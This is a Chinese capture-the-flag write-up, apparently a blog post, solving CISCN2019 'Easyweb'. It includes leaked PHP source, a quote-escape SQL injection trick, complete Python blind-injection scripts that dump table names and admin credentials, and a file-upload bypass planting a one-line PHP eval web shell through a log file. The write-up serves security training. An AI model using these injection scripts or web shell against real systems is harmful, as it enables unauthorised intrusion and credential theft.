[CISCN2019 总决赛 Day2 Web1]Easyweb

考点:
1.敏感信息泄露
2.sql盲注脚本编写
3.文件上传绕过

在这里插入图片描述
登陆页面,查看源码,发现image.php有id参数
在这里插入图片描述

访问,尝试id为1,2,3时都有图片,其他均没有显示,猜测盲注,尝试异或id=0^1和 0 ^ 0 无反应,换思路,扫描路径扫到敏感文件robots.txt,访问
在这里插入图片描述
提示有.php备份文件,根据源码有index.php image.php uesr.php 最终访问image下载到源码

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

$id 变量 用于接收get型参数id的值,如果没有id参数将设置为1
$path 变量用于接收get型参数path的值,如果没有则置空

在这里插入图片描述
addslashes用于对$id 和 $path中的’ ,"和\进行转义
str_replace用于将 $id 和 $path 中的特定字符(\0、%00、\ ‘、’)替换为空

最后将过滤后的$id 和 $path 拼接到sql语句中

select * from images where id='{$id}' or path='{$path}'

需要构造sql注入。参考了一下别人的wp:[CISCN2019 总决赛 Day2 Web1] Easyweb
可以将id参数设置为 \\0
id="\\0",因为是字符串,所以反斜杠为转义字符,id会被解析为\0,经过addslashes函数处理后变成 \\0,最后经过str_replace后变为\

此时的sql语句为select * from images where id='\' or path='{$path}'
这时的反斜杠\会将第二个单引号转义,使其变为普通字符,也就是说第一个单引号此时与第三个单引号闭合,id参数对应的值为' or path=

此时就可以构造自己定义的$path参数来拼接sql语句,达到sql注入的目的
构造payload验证是否能注入:?id=\\0&path= or 1=if(length(database())>1,1,-1)--+
在这里插入图片描述
将条件改为<1,页面返回空白,说明存在盲注
先查看有回显的页面返回信息,以方便编写脚本
在这里插入图片描述
返回图片信息中有JFIF,可作为盲注脚本判断依据
参考我做的另外一道题的脚本:[极客大挑战 2019]FinalSQL
使用二分法:
1.获取表名

import requests

target = "http://2e84c490-de46-4dbd-937e-6099ccfd9759.node4.buuoj.cn:81/image.php?id=\\0"

def getTable():          
    table_name = ""
    for i in range(1,50):     #注意是从1开始,substr函数从第一个字符开始截取
        low = 32
        high = 127
        mid = (low+high)//2
        while low < high:       #二分法
            payload = "&path= or 1=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))>%d,1,-1)--+" % (i,mid)
            r = requests.get(url=target+payload)
            if "JFIF" in r.text:      #为真时说明该字符在ascii表后面一半
                low = mid+1
            else:
                high = mid
            mid = (low+high)//2
        if low <= 32 or high >= 127:    #没找到
            break
        table_name += chr(mid)   #将ascii码转换为字符

    print("表名:" + table_name)

在这里插入图片描述
跑出表名为images 和 users
我们需要利用sql注入查询到用户名和密码方便登陆,所以应该是查询users表

2.获取users表的字段名
原本脚本中的payload应该是path= or 1=if(ascii(substr(select group_concat(column_name) from information_schema.columns where table_name='users'),%d,1)>%d,1,-1)

但是’和"被过滤了,可以将其转换为十六进制 users对应的16进制为0x7573657273
脚本:

def getColumn():          
    column_name = ""
    for i in range(1,50):     #注意是从1开始,substr函数从第一个字符开始截取
        low = 32
        high = 127
        mid = (low+high)//2
        while low < high:       #二分法
            payload = "&path= or 1=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),%d,1))>%d,1,-1)--+" % (i,mid)
            r = requests.get(url=target+payload)
            if "JFIF" in r.text:      #为真时说明该字符在ascii表后面一半
                low = mid+1
            else:
                high = mid
            mid = (low+high)//2
        if low <= 32 or high >= 127:    #没找到
            break
        column_name += chr(mid)   #将ascii码转换为字符

    print("表名:" + column_name)

在这里插入图片描述

得到列名为username和password

3.获取username的值和password的值

def getUsername():          #获取username
    username = ""
    for i in range(1,50):     #注意是从1开始,substr函数从第一个字符开始截取
        low = 32
        high = 127
        mid = (low+high)//2
        while low < high:       #二分法
            payload = "&path= or 1=if(ascii(substr((select group_concat(username) from users),%d,1))>%d,1,-1)--+" % (i,mid) 
            #获取password:select group_concat(password) from users
            r = requests.get(url=target+payload)
            if "JFIF" in r.text:      #为真时说明该字符在ascii表后面一半
                low = mid+1
            else:
                high = mid
            mid = (low+high)//2
        if low <= 32 or high >= 127:    #没找到
            break
        username += chr(mid)   #将ascii码转换为字符

    print("username:" + username)

在这里插入图片描述
在这里插入图片描述

得到username为admin,password为93d80502fe062bd03e0e

登陆后是一个文件上传的页面
在这里插入图片描述
上传时抓包。尝试上传普通txt文件
在这里插入图片描述
回显文件位置
尝试上传空的php文件在这里插入图片描述发现有检测文件后缀
换成.phtml后缀成功绕过,但是它回显的并不是我上传文件的路径,而是上传文件的日志记录的路径
这个日志文件是一个php文件,访问发现它记录了我上传文件的信息:
在这里插入图片描述

日志文件里面包含文件名。既然这是一个php文件,那么就可以直接将上传文件的名字写为一句话木马,然后.php日志文件就会写入这个木马
在这里插入图片描述
但是它对文件名进行了检测,猜测是匹配了php关键字,可以使用短标签绕过

<?="1"?> 相当于<?php echo "1";?>

payload:<?=@eval($_POST['r1']);?>
在这里插入图片描述
上传成功,可以上蚁剑,也可以直接hackbar里操作
在这里插入图片描述
flag在根目录下
在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值